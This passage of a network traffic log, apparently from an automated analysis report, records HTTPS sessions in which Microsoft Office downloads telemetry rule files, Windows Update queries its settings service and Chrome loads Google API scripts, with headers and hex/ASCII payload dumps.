T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:26 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: e631ddcb-001e-0065-1f99-2a0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001826Z-159b85dff8f7x84jhC1DFWaghs00000000hg000000002dew x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:26 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9b80997a-f01e-0003-4c76-2a4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001826Z-159b85dff8f46f6ghC1DFW1p0n0000000110000000009xuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:26 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 601805a2-a01e-000d-7265-2ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001827Z-159b85dff8fj5jwshC1DFW3rgc00000000e0000000001mym x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:26 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 89d7e9f4-d01e-0066-46a8-2aea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001826Z-16849878b7828dsgct3vrzta70000000074000000000mhxe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:26 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001826Z-16849878b78fhxrnedubv5byks000000072000000000g315 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:26 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001826Z-16849878b78p49s6zkwt11bbkn00000008ag00000000snyk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:27 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:26 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001826Z-16849878b78j5kdg3dndgqw0vg0000000ae000000000hzc8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49728	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:27 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fpeLn3HEklfNRGL&MD=7a5MYNfU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 00:18:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b9a88763-6774-43bb-918a-354724b59bda MS-RequestId: f942efe3-7598-4f69-8c9c-235cf09fb3fe MS-CV: Ym+4LUMRMU+0qRqp.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 00:18:26 GMT Connection: close Content-Length: 24490
2024-10-31 00:18:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-31 00:18:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49745	216.58.212.174	443	4676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:27 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 00:18:28 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 15:42:11 GMT Expires: Thu, 30 Oct 2025 15:42:11 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 30976 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-31 00:18:28 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-31 00:18:28 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-31 00:18:28 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-31 00:18:28 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var 